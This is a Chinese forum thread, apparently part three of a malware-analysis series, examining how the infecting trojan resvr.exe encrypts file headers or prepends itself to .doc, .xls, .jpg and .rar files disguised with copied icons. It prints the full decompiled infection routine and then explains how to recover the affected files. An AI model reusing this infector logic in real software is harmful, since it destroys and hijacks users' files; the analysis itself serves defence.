龙飞雪 发表于 2015-8-11 20:15

一个感染性木马病毒分析(三)

本帖最后由 龙飞雪 于 2015-8-14 10:27 编辑

一、 序言
前面的分析一个感染型木马病毒分析(二)中,已经将该感染性木马病毒resvr.exe木马性的一面分析了一下,下面就将该感染性木马病毒resvr.exe感染性的一面分析一下。

二、文件感染方式的分析
之前感染性木马病毒的分析中,已经提到了病毒对于用户文件的感染方式有2种,分别是加密文件和感染文件传播病毒,至于文件感染的时候采取哪种感染方式,病毒母体文件和病毒母体衍生病毒文件中都有相关的标志位。

第1种感染文件的方式
前面分析的感染性木马病毒的木马性一面的过程中有下面一组远程控制命令RevCmdBuffer(如图)设置病毒进程感染文件的感染方式的标记0xAABBCCDD。



在后面病毒进程感染用户文件的时候,有对感染文件方式的判断,具体的判断依据是感染标记0xAABBCCDD(如图)。当地址0x402120处的感染标记为0xAABBCCDD时,采用第一种感染文件的方式感染(加密文件的方式)。





第1种感染文件的方式的具体方法是 不对用户系统磁盘里的文件的格式进行筛选,只要是用户系统磁盘里的文件就进行加密处理。打开用户文件,创建内存映射,以先异或后加4的方式对用户文件的头0x400个字节的数据进行加密处理。


第2种感染文件的方式
当地址0x402120处没有感染标记0xAABBCCDD时,采用第2种感染文件的方式(感染文件传播病毒)。这种感染文件的方式 会对用户系统磁盘里的文件进行筛选,仅仅对用户系统磁盘里的.doc、.xls、.jpg、.rar格式的文件进行感染处理。



病毒母体文件resvr.exe感染.doc、.xls、.jpg、.rar格式的用户文件的具体过程如下面的代码。
int __stdcall InfectedFileOfHide_4035BD(LPCSTR lpUserFilePath, int lpUserFileEx, int nNumber)
{
      int _hUserFile; // eax@1
      signed int nUserFileSize; // eax@2
      HANDLE hModuleVirusesFile; // eax@5
      DWORD nVirusesModulesize; // eax@5
      HGLOBAL lpMemoryAlloc; // eax@5
      HGLOBAL __lpMemoryAlloc; // esi@7
      __int64 nFileExFilexOffset; // rax@7
      CHAR *lpUserFilePathBuffer; // edi@7
      int lpUserFilePathPtr; // edi@9
      DWORD NumberOfBytesWritten; // @7
      DWORD NumberOfBytesRead; // @7
      LPCVOID _lpMemoryAlloc; // @7
      DWORD nVirusesAndUserFileSize; // @5
      DWORD _nUserFileSize; // @2
      DWORD nNumberOfBytesVirusesFileToRead; // @5
      HANDLE hUserFile; // @2
      HANDLE hVirusesHandle; // @5
      CHAR szUserFilePathBuffer; // @7
      CHAR FileVirusesName; // @5

      // 打开需要感染处理的用户文件
      _hUserFile = (int)CreateFileA(lpUserFilePath, 0xC0000000, 0, 0, 3u, 0x80u, 0);
      if (_hUserFile != -1)
      {
                hUserFile = (HANDLE)_hUserFile;      
               
                // 获取需感染用户文件的大小
                nUserFileSize = GetFileSize((HANDLE)_hUserFile, &_nUserFileSize);

                // 当用户文件大小大于0x8000000或者大于4G时,不感染用户文件
                if (nUserFileSize > 0x8000000 || _nUserFileSize)
                {
                        _hUserFile = CloseHandle(hUserFile);
                }
                else
                {
                        _nUserFileSize = nUserFileSize;         

                        // 获取当前病毒进程模块的名称
                        GetModuleFileNameA(0, &FileVirusesName, 0x104u);
                        
                        // 打开当前病毒进程的文件
                        hModuleVirusesFile = CreateFileA(&FileVirusesName, 0x80000000, 3u, 0, 3u, 0x80u, 0);
                        hVirusesHandle = hModuleVirusesFile;      

                        // 获取当前病毒进程文件的大小
                        nVirusesModulesize = GetFileSize(hModuleVirusesFile, &nNumberOfBytesVirusesFileToRead);
                        nNumberOfBytesVirusesFileToRead = nVirusesModulesize;
                        
                        // 病毒进程感染用户文件之后,感染文件的总文件大小。
                        nVirusesAndUserFileSize = _nUserFileSize + nVirusesModulesize;

                        // 根据感染后文件的大小,申请内存空间
                        lpMemoryAlloc = GlobalAlloc(0x40u, _nUserFileSize + nVirusesModulesize);
                        if (lpMemoryAlloc)
                        {
                              _lpMemoryAlloc = lpMemoryAlloc;
                              __lpMemoryAlloc = lpMemoryAlloc;      

                              // 读取当前病毒进程的全部的PE文件数据到刚申请的内存中
                              ReadFile(hVirusesHandle, lpMemoryAlloc, nNumberOfBytesVirusesFileToRead, &NumberOfBytesRead, 0);
                              
                              // 读取需要被感染用户文件的全部数据追加到内存的后面即紧接着在内存缓冲区后面存放原用户文件的数据
                              ReadFile(hUserFile, (char *)__lpMemoryAlloc + nNumberOfBytesVirusesFileToRead,_nUserFileSize, &NumberOfBytesRead,
                              0);                                 
                              
                              // 在标志=11 11 11 11处即申请内存中,保存被感染用户文件的大小。
                              setFileInfor_403B61((int)&_nUserFileSize, (int)_lpMemoryAlloc, dword_402000, (int)&_nUserFileSize, 4);

                              // // 在标志=22 22 22 22处即申请内存中,保存被感染用户文件的原后缀名。
                              LODWORD(nFileExFilexOffset) = setFileInfor_403B61(
                                        (int)&lpUserFileEx,
                                        (int)_lpMemoryAlloc,
                                        dword_402008,
                                        (int)&lpUserFileEx,
                                        4);   
                              
                              // 提取被感染用户.doc、.xls、.jpg、.rar格式文件的图标资源,
                              // 然后将感染后用户文件的资源图标修改为提取到被感染用户.doc、.xls、.jpg、.rar格式文件的图标。
                              SetUserFileIcon_403573(nFileExFilexOffset, (int)_lpMemoryAlloc, nNumber);
                              
                              // 设置被感染用户文件的文件指针在文件头。
                              SetFilePointer(hUserFile, 0, 0, 0);   
                              
                              // 将申请的内存中的(病毒母体文件的数据+被感染用户文件的数据)重新写回到被感染用户文件中
                              // 此时感染后的用户文件变成了病毒母体衍生病毒文件
                              WriteFile(hUserFile, _lpMemoryAlloc, nVirusesAndUserFileSize, &NumberOfBytesWritten, 0);
                              
                              // 释放申请的内存空间
                              GlobalFree((HGLOBAL)_lpMemoryAlloc);

                              // 关闭文件句柄
                              CloseHandle(hVirusesHandle);            
                              CloseHandle(hUserFile);               
                              
                              // 保存被感染用户文件的路径字符串到szUserFilePathBuffer中。
                              RtlMoveMemory(&szUserFilePathBuffer, lpUserFilePath, 0x104);
                              lpUserFilePathBuffer = &szUserFilePathBuffer;//
                              
                              // 设置被感染用户文件路径字符串的指针到末尾。
                              while (*lpUserFilePathBuffer++ != 0)
                                        ;
                              *lpUserFilePathBuffer = 0;            
                              
                              // 将被感染用户文件路径字符串指针指向文件后缀名字符的位置如".xls"的首地址处
                              lpUserFilePathPtr = (int)(lpUserFilePathBuffer - 5);
                              
                              // 将感染后的用户文件的文件后缀名改为"被感染用户文件的原文件名.exe"
                              *(_DWORD *)lpUserFilePathPtr = 'exe.';
                              
                              // 修改被感染用户文件的文件名称为"被感染用户文件的原文件名.exe"并将感染后的衍生病毒文件释放到被感染用户原文件路径下。
                              _hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);
                                 
                              
                              if (!_hUserFile)
                              {
                                        _hUserFile = GetLastError();
                                        // 如果被感染用户原文件路径下,已经存在"被感染用户文件的原文件名.exe"文件。
                                        if (_hUserFile == 0xB7)            
                                        {
                                                // 恢复被感染用户文件的路径为原路径字符串即 "被感染用户文件原文件名.被感染用户文件原后缀名"
                                                *(_DWORD *)lpUserFilePathPtr = lpUserFileEx;

                                                // 修改被感染用户文件的路径字符串为"被感染用户文件原文件名.被感染用户文件原后缀名.exe"
                                                *(_DWORD *)(lpUserFilePathPtr + 4) = 'exe.';
                                                *(_DWORD *)(lpUserFilePathPtr + 8) = 0;
                                                
                                                // 在被感染用户原文件的路径下,创建"被感染用户文件原文件名.被感染用户文件原后缀名.exe"的衍生病毒文件。
                                                _hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);
                                        }
                              }
                        }
                        else
                        {
                              //关闭文件句柄
                              CloseHandle(hVirusesHandle);
                              _hUserFile = CloseHandle(hUserFile);
                        }
                }
      }
      return _hUserFile;
}

保存被感染用户文件原文件信息,如原文件的大小或者原文件的后缀名的函数。



病毒母体文件resvr.exe感染.doc、.xls、.jpg、.rar格式的用户文件的具体流程如下。



三、被感染文件的修复
第1种感染方式文件的修复
对于被第1种感染方式处理的用户文件的修复比较简单,只需遍历被加密的用户文件,以内存映射的方式打开文件,对打开文件的头0x400个字节的数据的进行先减4(字节类型)后异或0x5FF80F64(DWORD型)的处理即可修复被感染加密处理的用户文件。修复被感染文件的难点是如何判断用户的文件是被这种感染方式处理的。

第2种感染方式文件的修复
这个感染方式对用户.doc、.xls、.jpg、.rar格式的文件的感染,其实就是病毒母体resvr.exe产生衍生病毒即产生病毒载体的过程。只要将上面提到的病毒感染用户文件的过程理解清楚了,恢复文件也不难。

病毒母体文件resvr.exe与衍生病毒载体的文件对比。
将病毒母体文件“resvr.exe”与衍生病毒文件“石林.xls.exe”进行16进制的对比,发现两处不同。





文件对比结果的第1处不同是恢复感染用户文件的关键,具体的说明如图。
当为病毒母体文件resvr.exe时,标记 1--0x11111111后面的值是0xFFFFFFFF,标记 2--0x22222222后面保存的默认文件后缀名为.xls。



当为衍生病毒文件时,标记 1--0x11111111后面的值是被感染用户文件原文件的大小,标记 2--0x22222222后面保存的被感染用户文件原文件的后缀名。



文件对比结果的第2处不同,对于恢复被感染的用户文件也是有帮助的。
病毒母体文件resvr.exe的大小为0x11200,在衍生病毒文件中从文件偏移FileOffset=0x11200到文件结尾的数据就是被用户感染.doc、.xls、.jpg、.rar格式的文件原文件的数据。



恢复方法总结一、.获取被感染用户文件的原文件的大小
方法1、通过在衍生病毒文件中搜索0x11111111的位置即可获取原文件的大小,因为被感染用户文件原文件的字节大小信息保存在该位置+4的地方;
方法2、直接定位衍生病毒文件的偏移0x400的位置找到0x1111111,该位置+4的地方就是被感染用户文件原文件的字节大小的信息。

二、获取被感染用户文件的原文件的文件类型
方法1、通过在衍生病毒文件中搜索0x22222222的位置即可获取被感染用户文件原文件类型字符串,因为被感染用户文件原文件类型字符串信息保存在该位置+4的地方;
方法2、直接定位衍生病毒文件的偏移0x408的位置找到0x22222222,该位置+4的地方就是被感染用户文件原文件类型字符串信息。

三、获取被隐藏的原文件的文件的数据
由于衍生病毒隐藏用户文件的方式很简单,直接将用户文件(要被感染的用户文件原文件)紧接着放在病毒母体文件数据的后面,并将用户文件(要被感染的用户文件原文件)信息保存在病毒母体的文件数据中,并且病毒母体文件的大小为0x11200。


因此,只要读取衍生病毒文件中病毒母体文件数据后面即文件偏移0x11200以后至文件末尾的数据,再重新创建一个文件被感染用户文件的原文件就可恢复了。


笔记终于完成了,心愿了了。谢谢大家的支持!
顺便说下,前面有坛友提到之前的帖子已经在别处见过,那是因为之前将其首发在了我的CSDN博客上,博客地址:http://blog.csdn.net/qq1084283172,欢迎交流。如不能留博客地址,请告知,将其删除掉。


Mr.Mlwareson_V 发表于 2015-9-25 17:40

非常喜欢你的分析方法,你哪个应该是C#源码吧   我想知道如果是普通的PE 有什么办法能反编译出他的源码 我看了您的每一篇帖子里面大部分都贴出了源码了,获得源码对研究病毒行为非常重要,我想请问下您是如何得到的

龙飞雪 发表于 2015-8-31 11:30

951357TK 发表于 2015-8-31 10:45
我中过感染性的病毒,用杀毒软件都杀不掉,杀过之后,再次查看又会有几百个,烦死了

哈哈,现在的杀软对病毒的处理比较浮躁。只是样本入库,对于病毒的处理不彻底,导致病毒处理不干净。至于你说的感染性,范围比较大。

wangdong123 发表于 2015-8-14 23:59

谢谢分享思路不错

Jacve 发表于 2015-8-15 00:29

{:1_921:}文章很好。要多向楼主学习才行

Mr.Mlwareson_V 发表于 2015-8-15 00:45

分析的非常好,支持下

龙飞雪 发表于 2015-8-15 01:14

Mr.Mlwareson_V 发表于 2015-8-15 00:45
分析的非常好,支持下

谢谢支持,你的鼓励式我的动力。

龙飞雪 发表于 2015-8-15 01:17

Jacve 发表于 2015-8-15 00:29
文章很好。要多向楼主学习才行

一起交流学习。

大软白的包子 发表于 2015-8-15 12:44

学习了!!!

Cizel 发表于 2015-8-17 22:21

病毒方面完全看不懂~ {:17_1084:}

951357TK 发表于 2015-8-31 10:45

我中过感染性的病毒,用杀毒软件都杀不掉,杀过之后,再次查看又会有几百个,烦死了
页: [1] 2 3
查看完整版本: 一个感染性木马病毒分析(三)